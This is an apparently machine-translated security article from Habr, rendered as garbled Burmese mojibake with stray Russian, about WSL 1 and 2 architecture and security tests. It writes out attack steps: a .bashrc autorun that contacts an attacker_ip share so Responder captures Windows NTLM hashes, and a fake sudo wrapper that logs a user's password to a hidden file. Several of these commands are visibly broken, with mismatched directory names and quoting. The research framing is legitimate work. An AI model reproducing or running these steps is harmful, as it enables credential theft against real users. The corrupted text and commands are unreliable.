áááºááá¯á OTUS ááẠá¡á±á¬ááºááá¯áá¬áááœáẠáááºáááºážá
á®ážááŒá±á¬ááºážá¡áá
áºááᯠá
áááºáá²á·áááºá
2016 áá¯ááŸá
áºááœáẠMicrosoft á០WSL áááºážááá¬á¡áá
áºááᯠIT á¡ááá¯ááºážá¡ááá¯ááºážááá¯á· ááááºáááºáá²á·ááẠ(Wá¡ááœááºážááá¯ááºáž Subsystem á¡ááœáẠLinux) ááẠá¡áá¬áááºááœáẠáá¬áááºááŸáá·áºá¡ááá·áºááŒáá·áº OS á¡áá¯á¶ážááŒá¯áá°áá»á¬ážá¡ááŒá¬áž áá±áááºážá
á¬ážááŸá¯á¡ááœáẠááá¯ááºááœá²áááºáá±áá±á¬ ááááºá áááá¯ááºáá»á±á¬áá®ááœá±áááŒá
áºááá¯ááºáá±á¬ ááŒáá¯ááºáááºáá»á¬ážááᯠáá±á«ááºážá
ááºážááá¯ááºá
á±ááá·áºá¡áá¬- Windows ááŸáá·áº Linuxá á€áááºážááá¬ááẠMulti-boot ááá¯á¡áá¯á¶ážááŒá¯á Linux ááᯠrun áááºáááá¯á¡ááºáá² Windows áááºáááºážáá»ááºááœáẠLinux OS áááááá¬áá»á¬ážááá¯áá¯á¶ážááá¯ááºá
á±áá²á·áááºá Habr ááœáẠWSL á¡áá¯á¶ážááŒá¯ááŒááºážá á¡áá»áá¯ážáá»á±ážáá°ážáá»á¬ážááᯠáá±á¬áºááŒááá·áº áá±á¬ááºážáá«ážá¡áá»á¬ážá¡ááŒá¬ážááᯠáááºááœá±á·ááá¯ááºáááºá ááá¯á·áá±á¬áº áá¶ááá±á¬ááºážá
áœá¬áá²á á€áá±á¬ááºážáá«ážááᯠáááºáá®ážááá·áºá¡áá»áááºááœááºá á€á¡áááºážá¡ááŒá
áºáá±á«áºááœáẠááá¯ááá¯á·áá±á¬áááºáááºááŸá¯á
áá
áºáá»á¬ážá áá¯á¶ááŒá¯á¶áá±ážááá¯ááºáᬠáá±á·áá¬ááŸá¯áá
áºáá¯áá»áŸáááœá±á·áá²á·ááá«á á€ááá¯á·á
áºááẠá€á¡áá¬ááᯠááŒá¯ááŒááºááẠááŒáá¯ážáááºážááŸá¯ááŒá
áºáááá·áºáááºá áá±á¬ááºážáá«ážááœáẠWSL 1 ááŸáá·áº 2 áááá¯áá¬áááºáá¬áá»á¬ážá á¡ááºá¹áá«áááºáá»á¬ážá¡ááŒá±á¬ááºáž ááœá±ážááœá±ážááŒá®áž á€áááºážááá¬áá»á¬ážááᯠá¡áá¯á¶ážááŒá¯ááá·áº á
áá
áºáá»á¬ážá¡áá±á«áº ááá¯ááºááá¯ááºááŸá¯áá»á¬ážá ááá°áá¬áá»á¬ážá
áœá¬ááᯠáááºážá
á
áºáá«áááºá áá±á¬ááºážáá«ážááᯠá¡ááá¯ááºáž á ááá¯ááºážááœá²áá¬ážáá«áááºá ááááá
áºáá¯ááẠLinux ááŸáá·áº Windows ááá¯á·á០á¡ááááá®á¡áá¯áá®ááá¯ááºážááá¯ááºáᬠááá¯ááºááá¯ááºááŸá¯áááºážáááºážáá»á¬ážááᯠáá¶á·ááá¯ážáá±ážáááºááŒá
áºáááºá áá¯ááááá±á¬ááºážáá«ážááœáẠá
ááºážáááºááŸá¯áááºáááºážáá»ááºáá
áºáá¯áááºáá±á¬ááºááŒááºážááŸáá·áº ááá¯ááºááá¯ááºááŸá¯áá»á¬ážááᯠááŒááºáááºáá¯ááºáá¯ááºááŒááºážááá¯á· áá«áááºáááºááŒá
áºáááºá
WSL 1- áááá¯áá¬á¡ááºá¹áá«áááºáá»á¬áž
WSL áá¯á¶ááŒá¯á¶áá±ážááá¯ááºáᬠááá á¹á áááºáá»á¬ážááœáẠá¡áááá»áá¯á¶áž á á±á·áá¯ááá¯ááºáááºá á áá áºááœá²á á¡áá±á¬ááºá¡áááºáá±á¬áºááŸá¯ááŸáá·áº áááºá ááºáá±áá±á¬ á¡ááá ááœá²ááŒá¬ážáá»ááºáá»á¬ážááᯠáá¯á¶ážááŒááºááẠááá¯á¡ááºáá«áááºá WSL ááŸááŒá±ááŸááºážáá¬ážáá±á¬ á¡áááá¡áá¯á¶ážááŒá¯áá°á¡áá¯ááºáá»á¬ážáá²ááŸáá áºáá¯ááŸá¬ Windows OS á¡áá¯á¶ážááŒá¯ááá·áº host ááœáẠLinux terminal ááŸáááá·áºá¡áá¯ááºáá¯ááºááá¯ááºááŒááºážááŒá áºáááºá ááá¯á·á¡ááŒááºá áááºážááŸááºážáá¬ážááá·áº ááá¯ááºáááºáá®ááŸá¯ááŸá¬ áá°áááºážá¡ááá¯ááºážááŒá áºáá±á¬ááŒá±á¬áá·áº Linux executables (ELFs) ááᯠWindows á áá áºáá±á«áºááœáẠááá¯ááºááá¯ááºáá¯ááºáá±á¬ááºááá¯ááºáááºá á€áááºááŸááºážáá»ááºáá»á¬ážá¡á±á¬ááºááŒááºáááºá á¡áá°ážá áá áºááœá²áá áºáá¯ááᯠWindows 10 ááœáẠáá®ážááá·áºá áá áºáá±á«áºááá¯ááŸá¯áá»á¬ážá¡áá¯á¶ážááŒá¯á Linux á¡ááá®áá±ážááŸááºážáá»á¬ážááœáá·áºááá¯ááºá á±ááá·áº á¡áá°ážá áá áºáá áºáá¯ááᯠáááºáá®ážáá²á·ááẠ- ááá¯á·ááŒá±á¬áá·áºá Windows áá±á«áºááŸá Linux syscalls á¡á á¯á¡áá±ážáá áºáá¯ááᯠááŒá±áá¯á¶ááœá²ááẠááŒáá¯ážáááºážáá²á·áááºá áááá¯ááºáá¬á¡áá áºáá»á¬ážááŸáá·áº áá¯ááºáááºážá ááºáá±á¬áºáááºá¡áá áºááᯠááá·áºááœááºážááŒááºážááŒáá·áº áááºážááᯠáá¯ááºááá¯ááºážááá¯ááºáᬠá¡áá±á¬ááºá¡áááºáá±á¬áºáá²á·áááºá á¡ááŒááºá¡á¬ážááŒáá·áº áááá¯áá¬ááá¬ááẠá€áá²á·ááá¯á· ááŒá áºáááº-
ááááºáá±á¬á·á Linux áááºáááºááŸá¯á
áá
áºááŸáá·áº á¡ááŒááºá¡ááŸááºáááºááœááºááŸá¯ááᯠkernel modules á¡áá»á¬ážá¡ááŒá¬ážááŸáá·áº á¡áá°ážáá¯ááºáááºážá
ááºá¡áá»áá¯ážá¡á
á¬áž - pico ááŸáááá·áº ááœá²á·á
ááºážáá¬ážáá«áááºá á¡áááºáá±á¬áºááŒáá« áá¯á¶ááŒááºážááŸá host áá±á«áºááŸá Linux instance ááœáẠáá¯ááºáá±á¬ááºáá±ááá·áº áá¯ááºáááºážá
ááºááẠáá°áááºážá¡ááá¯ááºážááŒá
áºáááẠááŒá
áºááŒá®áž áá¯á¶ááŸáẠWindows á¡ááá®áá±ážááŸááºážáá»á¬ážáá²á·ááá¯á· áá°áá®áá±á¬á¡áááºážá¡ááŒá
áºáá»á¬ážááᯠá¡áá¯á¶ážááŒá¯ááááºááᯠáááºááœá±á·ááŒááºááá¯ááºáá«áááºá áá«áá±ááá·áº áá«ááᯠá¡á±á¬ááºááŒááºá¡á±á¬áẠáááºááá¯áá¯ááºááá²á ááá±á¬áá»ááºááœááº
á¡ááá¯ááŒá¯áá¬ážáá±á¬ abstraction ááẠá¡ááŒá¬ážáá±á¬ OS ááá¯ááºáááºážá ááºááá¯á áááºáááºáá»áŸá±á¬áºááá·áºáá¬ážááá·áº operating system (á¡áá°ážáááŒáá·áº Windows) ááá¯á¡á¬áá¯á¶á áá¯ááºáááºáááŒá áºááá¯ááºá á±áááºááŸáá·áº áá±áá¯áá»áá»ááºážáááºááŸá¯ááᯠá¡ááŒá¶ááŒá¯áá¬ážááŒá±á¬ááºáž áááááŒá¯áá«á
ááá¯á·ááŒá±á¬áá·áº pico áá¯ááºáááºážá ááºá¡ááœááºážááŸá áááºááá·áº application áááᯠWindows kernel ááŸáá·áº ááááºááá¯ááºáá² áá¯ááºáá±á¬ááºááá¯ááºáááº-
- á áá áºáá±á«áºááá¯ááŸá¯áá»á¬ážá ááá¯ááºáááºáá®ááŸá¯ááŸáá·áº áá¬áá¬ááŒááºááá¯ááŒááºážááá¯ááºáᬠááŒá¿áá¬áá»á¬ážááᯠá¡áá°ážáááºáá±á¬ááºááŸá¯áá±ážáá°áá»á¬ážá ááŒá±ááŸááºážáá±ážááááºá
- Access Control ááᯠSecurity Monitor ááŸáááá·áº áá¯ááºáá±á¬ááºááá«áááºá áá±á¬áºáá®áá¬ááẠkernel ááœááºáááºááŸááá±á¬ááŒá±á¬áá·áº Windows ááẠááá¯áá²á·ááá¯á·áá±á¬áá¯ááºáááºážá ááºáá»á¬ážá¡ááœááºáá¶á·ááá¯ážáá±ážáá°á¡ááŒá áºáá¯ááºáá±á¬ááºááá¯ááºááá·áº driver á¡áá áºáá¯á¶á á¶ááŒáá·áº á¡ááá·áºááŒáŸáá·áºáááºááá¯á¡ááºáá«áááºá ááŸá±á·ááŒá±ážáá¯á¶á ᶠpico áá¯ááºáááºážá ááºááᯠá¡á±á¬ááºááœáẠááá¬ážááœááºááŒáá·áº áááºááŒáá¬ážáá«áááºá
Linux ááá¯ááºá
áá
áºááẠcase-sensitive ááá¯ááºááŸáá·áº directory á¡áááºáá»á¬ážááᯠá¡áá¯á¶ážááŒá¯áá¬ážáá±á¬ááŒá±á¬áá·áº WSL - VolFS ááŸáá·áº DriveFS ááŸáá·áº á¡áá¯ááºáá¯ááºááẠááá¯ááºá
áá
Ạá¡áá»áá¯ážá¡á
á¬áž 2 áá¯ááᯠWindows ááœáẠááá·áºááœááºážáá²á·áááºá VolFS ááẠLinux ááá¯ááºá
áá
áºá á¡áá±á¬ááºá¡áááºáá±á¬áºááŸá¯áá
áºáá¯ááŒá
áºááŒá®áž DriveFS ááẠWindows á
ááºážáá»ááºážáá»á¬ážááŸáá·áºá¡áá® á¡áá¯ááºáá¯ááºáá±á¬ ááá¯ááºá
áá
áºáá
áºáá¯ááŒá
áºáá±á¬áºáááºáž case sensitivity ááᯠááœá±ážáá»ááºááá¯ááºáááºá
WSL 2
WSL 1 ááœáẠá¡ááŒáá·áºáá¯á¶ážáá¯ááºáá±á¬ááºá áá¬áá»á¬ážááᯠááŒá±ááŸááºážááẠáááºážá¡á¬áž á¡áá¯á¶ážááŒá¯ááẠááœáá·áºáááŒá¯ááá·áº ááá·áºáááºáá»ááºáá»á¬ážá áœá¬ááŸááá«áááº- á¥ááá¬á¡á¬ážááŒáá·áºá áááºážááẠ32-bit Linux á¡ááá®áá±ážááŸááºážáá»á¬ážááᯠáá¯ááºáá±á¬ááºááá¯ááºá áœááºážáááŸáááá·áºá¡ááŒáẠá ááºáá á¹á ááºážáááá¯ááºáá¬áá»á¬ážááᯠá¡áá¯á¶ážááŒá¯ááẠáááŒá áºááá¯ááºáá±á ááá¯á·ááŒá±á¬áá·áºá 2020 ááœáẠWSL 2 ááá¯áá¯ááºááŒááºáá²á·ááŒá®ážá á áá áºááœá²áááºáá±á¬ááºááŒááºážááá¯ááºáá¬áá»ááºážáááºááŸá¯ááá¯ááŒá±á¬ááºážáá²á á±áá²á·áááºá WSL 2 ááẠWSL 1 á á¡áááºážá¡ááŒá áºáá¯á¶ážá áœá²ááŸá¯ ááá¹ááá¬áá»á¬ážááŸáá·áº ááá¯ááºáá®áá±á¬ ááá¯ááá¯áá±á¬ááºážááœááºá¡á±á¬ááºááŒá¯áá¯ááºáá¬ážáá±á¬ virtual machine áá áºáá¯ááŒá áºáááºá ááá¯á Windows OS á¡áá¯á¶ážááŒá¯áá°á០ááŒá±ááŸááºážáá¬ážáá±á¬ ááŒá¿áá¬áá»á¬ážáá±á«áº áá°áááºá Linux á áá áºááœá²á ááá¯á¡ááºáá±á¬ áá¬ážááŸááºážááᯠáááºááœá±ážáá»ááºááá¯ááºáá«áááºá ááŒá áºááá¯ááºáá»á±ááŸááá±á¬ á¡á¬ážáááºážáá»ááºáá»á¬ážááᯠáá»á±á¬á·áá«ážá á±ááẠWSL 2 ááᯠWindows 10 ááœáẠHyper-V ááá¯á¡ááŒá±áá¶á á¡áá±á¬ááºá¡áááºáá±á¬áºáá²á·áááºá á€áá¯á¶á á¶ááœááºá Windows ááẠLinux operating system kernel ááᯠáá®ážááŒá¬ážááœá²áá¯ááºááá¯ááºááá·áº á áœááºážáááºááŸááááºá WSL á áá¬ážááŸááºáž 1 ááᯠá€á§áááá¬ááŸá Windows ááœá¶á·ááŒáá¯ážááá¯ážáááºááŸá¯á áŠážáááºáá»ááºááᯠááŒáááẠbeta á¡ááºá¹áá«áááºá¡ááŒá Ạááááºáááºáá²á·áááºááᯠááŸááºáá¬ážááá¯ááºáá«áááºá ááá¯á·ááŒá±á¬áá·áº Hyper-V ááá¯á· áá°ážááŒá±á¬ááºážááŒááºážááẠáááœá²áááœá±ááŒá áºáááºá áá±á¬ááºáá¯á¶áž áááá¯áá¬áááºáá¬ááẠá€áá²á·ááá¯á· ááŒá áºáááº-
á€áá¬ážááŸááºážááœááºá Windows ááŸáá·áº Linux kernels áá»á¬ážááœáẠáááºážááá¯á·áááá¯ááºááá¯ááºá¡áááºážá¡ááŒá
áºáá»á¬ážááŸáááŒá®áž áááºážáá¯á¶ááẠááá¯ááºá
áá
áºááœááºáᬠááŸááá±á¬áºáááºáž á€áááºážáá¯á¶ááẠááŒá®ážááŒáá·áºá
á¯á¶ááŒááºážáááŸááá«á 9P áááá¯ááá¯áá±á¬ááᯠá¡áá¯á¶ážááŒá¯á á¡áá¯ááºáá¯ááºáá±á¬ client-server wrapper ááŸáááá·áº ááá¯ááºá
áá
áºáá»á¬ážá¡ááŒá¬áž á¡ááŒááºá¡ááŸááºáá¯á¶á·ááŒááºááŸá¯ááᯠáá¯ááºáá±á¬ááºáááºá
ááá±á·ááœáẠMicrosoft ááẠWSL 1 ááŸáá·áº WSL 2 á¡ááŒá¬áž ááŒá±á¬ááºážááá¯ááºááá·áº á áœááºážáááºááᯠáá¶á·ááá¯ážáá±ážáá¬ážáááºá áá¬ážááŸááºážááŸá áºáá»áá¯ážá áá¯á¶ážááᯠá¡áá¯á¶ážááŒá¯ááá¯ááºáááºá
WSL áá¯á¶ááŒá¯á¶áá±áž
áá±á¬áá±á¬áááºááœááºá á áá áºááœá²áá»á¬ážááŒá¬áž áááºááœááºáá±ážááᯠááá¯ááºááá¯ááºáááºá¡ááœáẠááá¬ážááẠOS áááááá¬áá»á¬ážááᯠá¡áá¯á¶ážááŒá¯ááŒááºážá¡ááœáẠáááºážáááºážá¡áá»áá¯á·ááᯠáá±á¬áºááŒááá·áº á¡áá¯ááºáá»á¬ážá áœá¬ááŸááááºá á á¬áá±ážáá»áááºááœáẠááá¯ááºááá¯ááºááŸá¯áá»á¬ážá áááºá ááºááŸá¯ááᯠá á áºáá±ážááẠáááºážááá¯á·á script áá»á¬ážááᯠá¡áá¯á¶ážááŒá¯áá«áááºá á¡ááœá±ááœá±ááá¯ááºááá¯ááºááŸá¯áá»á¬ážááŸáá·áº á¡ááŒá±á¡áá±áá»á¬ážá á¬áááºáž-
1. ááá¯ááºá áá Ạá¡áá±á¬ááºá¡áááºáá±á¬áºááŸá¯- áááºáá±á¬ááºááœáá·áºá áá»áŸáá±áá¬ážáá±á¬ áááºážááœáŸááºáá»á¬áž/áá±áá¬áááŸááºááŸá¯ ááá¹ááá¬ážáá»á¬áž áááŸáááŸá¯á
áááºááŸááºážáá®ááŸá¯ á ááºážáá»ááºážáá»á¬áž áá»áá¯ážáá±á¬ááºááŸá¯áá»á¬ážááᯠáá¯á¶ážááŒááºááẠáá¯áá±áá ááŒá¯áá¯ááºáá²á·áááºá Linux FS->Windows FSá Windows FS->Linux FS. áá¯áá±ááááẠáá áºááŸáẠOS á¡ááœááºáž áá±ážáá¬ážááá·áº ááá¯ááºáá áºáá¯ááᯠááœááºážáá¶ááá¯ááºááŸá¯ááᯠááá¯ááºááŒáá²á·áááºá á¡á á¬ážááá¯ážáááºá áááºáá°áá»á¬ážáááºáá®ážáááºááŸáá·áº ááá¯ááºá áá áºá á¡á áááºá¡ááá¯ááºážáá»á¬ážááᯠáá»ááºáááºáááºáž ááŒáá¯ážáááºážáá²á·áááºá
áá¬ááºáááºáž-
- A. Windows áááºáááºááŸá¯á áá áºá០ááá¯ááºááá¯ááºááŒááºáž - Linux OS á /etc directory á០ááá¯ááºáá»á¬ážááᯠááŒá¯ááŒááºááœááºážáá¶ááŒááºážá
- B. Linux áááºáááºááŸá¯á
áá
áºá០ááá¯ááºááá¯ááºááŒááºáž - áááºážááœáŸááºáá»á¬ážááœáẠááá¯ááºáá»á¬ážááᯠááŒá¯ááŒááºááœááºážáá¶ááŒááºáž-
C:Windows
,C:Program Files
,C:Users<User>
2. network stack ááᯠá¡áá±á¬ááºá¡áááºáá±á¬áºááŒááºážá
áá¯áá±ááááᯠWindows áá±á«áºááŸá Linux áááºáááºááŸá¯á áá áºá០ááá¯ááºááá¯ááºááŸá¯ááá°áá¬áá»á¬ážááᯠá¡áá¯á¶ážááŒá¯á áá¯ááºáá±á¬ááºáá²á·ááŒááºážááŒá áºáááºá network stack áá¡ááºá¹áá«áááºáá»á¬ážááá¯á ááŒá±á¬ááááºá á¡áááºážá¡ááŒá áºá¡áá»áá¯ážáá»áá¯ážááœááºá¡áá±á¬ááºá¡áá¬ážá áá á áºááŒááºážááá¹ááá¬ážáá»á¬ážááá¯á¡áá¯á¶ážááŒá¯áá²á·áááºá
áá¬ááºáááºáž-
- Windows á áá áºááœáẠááááºážááá¯ááºáá¬ážáá±á¬ ááááºáááºážááá¯á· áááºáá±á¬ááºááœáá·áºááᯠááœáá·áºááŒááºážá
- ááá·áºáá»á±á¬áºáá±á¬á¡ááœáá·áºá¡áá±ážáááŸááá² ááááºáááºážáá áºáá¯ááœáá·áºááŸá áºááŒááºážá
- Windows áááºáááºááŸá¯á áá áºááœáẠelf ááá¯ááºááᯠá¡áá¯á¶ážááŒá¯á ááŒá±á¬ááºážááŒááºá¡ááœá¶ááᯠáá¯ááºáá±á¬ááºááŒááºážá
3. WSL á áá áºááœá²ááᯠá¡áá¯á¶ážááŒá¯á á¡áá¹ááá¬ááºááŸááá±á¬ áá±á¬á·ááºáá² áá¯ááºáááºážá ááºáá»á¬áž á áááºááŒááºážááᯠáá¯á¶ážááœááºááŒááºážá
áá¯áá±ááááẠááá¯ážááŸááºážáá±á¬á¡áá»ááºá¡áá±á«áº á¡ááŒá±áá¶áá¬ážááẠ- áá¯á¶ááŒá¯á¶áá±ážá áá áºááœá²áá»á¬ážááẠWSL 1 ááá á¹á ááœáẠááá¬ážáááºáá¶á·ááá¯ážáá±ážáá°ááᯠá¡áá¯á¶ážááŒá¯á áá¯ááºáá±á¬ááºááá·áº á¡ááŒá¬áž kernel á¡ááœááºážááŸá á¡ááŒá áºá¡áá»ááºáá»á¬ážááᯠááŒá¬ážááŒááºááááá¯ááºáá«á WSL 2 áááá á¹á áááºááœááºá ááŒá áºáá±á«áºáá¬ááá·áºááŒá áºáááºáá»á¬ážááᯠááŒáá·áºááŸá¯ááẠáááºážáááºážáááŸááá«á áá±á«á·áá«ážáá±á¬ virtual machine á¡ááœááºážááŸá áá®ážááŒá¬áž kernel áá áºáá¯ááœááºá
áá¬ááºáááºáž-
1) á áá áºááá¯á·á¡áá±ážááŸáááºáá±á¬ááºááœáá·áºá¡ááœáẠá¡ááá®áá±ážááŸááºážááá¯ááœáá·áºááŒá®áž ááŸááºáááºážáááºáá¬ážáá±á¬ááŒá áºáááºáá»á¬ážááá¯ááŒáá·áºááŸá¯áá«á
WSL 1 á ááºážáááºááŸá¯áá»á¬áž- hash ááŒá¬ážááŒááºááŒááºáž (Windows)
áá±á¬ááºáá¯á¶ážáá±á¬á· áááºááœá±á·áá»áá²á·á¡ááá¯ááºážááᯠáá±á¬ááºááœá¬ážáááºá ááááŠážá áœá¬ áááºááẠá ááºážáááºááŸá¯áááºáááºážáá»ááºááᯠáááºááŸááºááẠááá¯á¡ááºáááºá á ááºážáááºááŸá¯á¡á¬ážáá¯á¶ážááᯠWindows 10 2004 ááá·áºááœááºážááŒá®áž áá¯á¶áááºážáá»á¬ážáá áºáá¯áá±á«áºááœáẠááŒá¯áá¯ááºááœá¬ážáááºááŒá áºáááºá Ubuntu 18.04 áá¯ááºáá¯á¶ááᯠWSL á¡ááœáẠáááºáááºááŸá¯á áá áºáá¯á¶á¡ááŒá Ạááœá±ážáá»ááºáá¬ážáááºá áá¯á¶á¡á¬áž áá»áááºážááœá±ážáá»ááºáá¬ážááŒá®áž á¡ááŒá¬ážáááºááá·áºáá¯á¶áááᯠáá°áá®áá«áááºá áááºáááºáááºááŒááºážá¡ááœáẠá¡áááá·áºáá»á¬áž-
á¡áááºáŠážáá¯á¶áž ááœáŸáá·áºáááºááááºá powershell.exe
á
á®áá¶ááá·áºááœá²áá°á¡ááŒá
áº
WSL 1 á¡ááœáẠáááºááẠcommand áá»á¬ážááᯠáá¯ááºáá±á¬ááºááẠááá¯á¡ááºáááº-
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ÐклÑÑОÑÑ ÑÑМкÑÐžÑ WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ÐагÑÑзОÑÑ ÐŸÐ±Ñаз Linux Оз ЌагазОМа Microsoft
Ubuntu.appx install âroot #УÑÑаМПвОЌ ПбÑаз
ÐПзЌПжМП, пÑОЎеÑÑÑ Ð¿ÑПклОкаÑÑ Ð¿ÑПÑеÑÑ ÐœÐ°ÑÑÑПйкО О ÑПзЎаÑÑ ÐœÐŸÐ²ÐŸÐ³ÐŸ пПлÑзПваÑелÑ, кПÑПÑÑй бÑÐŽÐµÑ ÐžÐŒÐµÑÑ ÐŒÐµÐœÑÑе пÑав, ÑеЌ root. ÐÐ»Ñ ÐœÐ°ÑОÑ
ÑеÑÑПв ÑÑП бÑÐŽÐµÑ ÐŸÐ±ÑÑÐœÑй пПлÑзПваÑÐµÐ»Ñ sam.
Restart-Computer #ÐеÑезагÑÑзОЌ
stand ááᯠreboot áá¯ááºááŒá®ážáá±á¬ááºá áááºááẠbash command ááá¯áá±á«áºááá¯ááá¯ááºáááºá á¡áá¬á¡á¬ážáá¯á¶áž ááŸááºáááºá áœá¬ á¡áá¯ááºáá¯ááºáá«áá Windows console ááœáẠáááºážááŸáá·áº áááºáá°áá±á¬ output ááᯠááœá±á·ááááá·áºáááº-
áá»áœááºá¯ááºááá¯á·ááẠKali Linux ááŒáá·áºááŒá°ážááŸá¯ááᯠááá¯ááºááá¯ááºáá°áá
ááºá¡ááŒá
Ạá¡áá¯á¶ážááŒá¯áááºááŒá
áºááŒá®áž á
ááºá¡á¬ážáá¯á¶ážááẠáá°áá®áá±á¬áá±ááá¶ááœááºáááºááœáẠááŸáááááºááŒá
áºáááºá
Windows á
ááºáá±á«áºááœáẠWSL ááᯠá¡ááœáá·áºáá°ážááá¶áá² á¡áá¯á¶ážááŒá¯ááœáá·áºááŸááááºáᯠáá°áááŒáá«á
áá¯á·á Linux á០command ááá¯áá±á«áºááá¯ááŒááºážááŒáá·áº Linux operating system ááᯠááá¯ááºááá¯ááºááẠááŒáá¯ážá
á¬ážááŒáá«á
áá¯á·á ááá¯ááºááá¯ááºááŸá¯ááᯠá¡áá±á¬ááºá¡áááºáá±á¬áºáááºá áá»áœááºá¯ááºááá¯á·ááẠááá¯ážááŸááºážáá±á¬ autorun áááºážááá¬ááᯠá¡áá¯á¶ážááŒá¯áá«ááẠ- Linux áááºáááºážáá»ááºááœáẠáá¯ááºáá±á¬ááºáááºá¡ááœáẠáá»áœááºá¯ááºááá¯á·á script ááᯠááá·áºááœááºážáá«áááºá áá®ááá¯áá¯ááºááá¯á·áááºááá¯ááºááá¯ááŒá±á¬ááºážááá¯á·ááá¯á¡ááºáá«áááºá .bashrc
.
WSL ááŒáá·áº á ááºááœáẠáá»áœááºá¯ááºááá¯á· áá¯ááºáá±á¬ááºáááº-
1. bash
2. ÐеÑеÑ
ПЎОЌ в ЎПЌаÑÐœÑÑ ÐŽÐžÑекÑПÑÐžÑ Ð¿ÐŸÐ»ÑзПваÑелÑ: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Kali Linux á ááºááœáẠáá»áœááºá¯ááºááá¯á· áá¯ááºáá±á¬ááºáááº-
1. Responder -I eth0 -rdvw
Windows á ááºáá áºáá¯ááœáẠbash ááá¯ááœáá·áºááŒáá·áºáá¡á±á¬ááºá
Kali Linux á ááºááœáẠááááºááᯠáá»áœááºá¯ááºááá¯á· á á±á¬áá·áºáá»áŸá±á¬áºáá±áá«áááºá
ááá¯á·ááŒá±á¬áá·áºá Linux á
áá
áºááŸá command ááá¯áá¯ááºáá±á¬ááºááŒááºážááŒáá·áº WSL á
áá
áºááœá²ááŸáááá·áº Windows á¡áá¯á¶ážááŒá¯áá° hashs ááá¯áááŸááá²á·áááºá
WSL 1 á ááºážáááºááŸá¯áá»á¬áž- á¡áá¯á¶ážááŒá¯áá° á áá¬ážááŸáẠááá°ááŒááºáž (Linux OS)
áá±á¬ááºááẠá
ááºážáááºááŸá¯áá
áºáᯠáá¯ááºááŒáá·áºáá¡á±á¬ááºá á€á
á
áºáá±ážááŸá¯á¡ááœááºáž áá»áœááºá¯ááºááá¯á·ááẠááá¯ááºááá¯á·ááá·áºáá«áááºá .bashrc
Linux áááºáááºááŸá¯á
áá
Ạá¡áá¯á¶ážááŒá¯áá° á
áá¬ážááŸááºááᯠááá°áááºá¡ááœáẠá¡áááá·áºá¡áá»á¬ážá¡ááŒá¬ážá
bash ááá¯ááœáá·áºááŒá®áž command áá»á¬ážááá¯ááá¯ááºááŒáá«á áá¯á·á
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
ááá¯ááºááá¯ááºááŸá¯ááᯠá¡á±á¬ááºááŒááºá
áœá¬ááŒá®ážááŒá±á¬ááºáááºá á¡áá¯á¶ážááŒá¯áá° Sam ááẠLinux terminal ááŸá sudo ááá¯áá±á«áºááá¯ááẠááá¯á¡ááºáááºá áááºážááŒá®ážáá±á¬ááºá Linux OS á¡áá¯á¶ážááŒá¯áá° á
áá¬ážááŸááºááẠááá¯ááºáá²ááœáẠááŸááá±áááºááŒá
áºáááºá pass.txt
:
ááá¯ááºááá¯ááºááŸá¯áá»á¬ážááᯠá¡áá±á¬ááºá¡áááºáá±á¬áºááŒááºážá¡á¬áž áá®á¡áá¯áá®á¡áá»ááºá¡áááºáá»á¬ážá¡ááœááºáᬠáá±ážá¡ááºáá²á·ááŒááºážááŒá
áºáááºá
áá±á¬ááºážáá«ážá áá±á¬ááºá¡ááá¯ááºážááœáẠ9P áááá¯ááá¯áá±á¬ááᯠá¡áá±á¬ááºá¡áááºáá±á¬áºááŒááºážá á€áááá¯ááá¯áá±á¬á¡ááœáẠá áááºáá¬áá áºáᯠáááºáá®ážááŒááºážááŸáá·áº áááºážááá¯á¡áá¯á¶ážááŒá¯á ááá¯ááºááá¯ááºááŸá¯ááá¯áááºáž áá¯ááºáá±á¬ááºááŒááºážááá¯á·ááᯠáá±á¬áºááŒáá«áááºá
áá¯á¶ážáá±á¬á á¬áá±áá»á¬ážá á¬áááºáž
WSL 2 áá¯áá±ááááẠááá¯ážááœá¬ážááŸá¯ááŒá áºáááºá Linux Documentation á¡ááœáẠWindows Subsystem
ááá¯ááŒá®ážáááºáá«
source: www.habr.com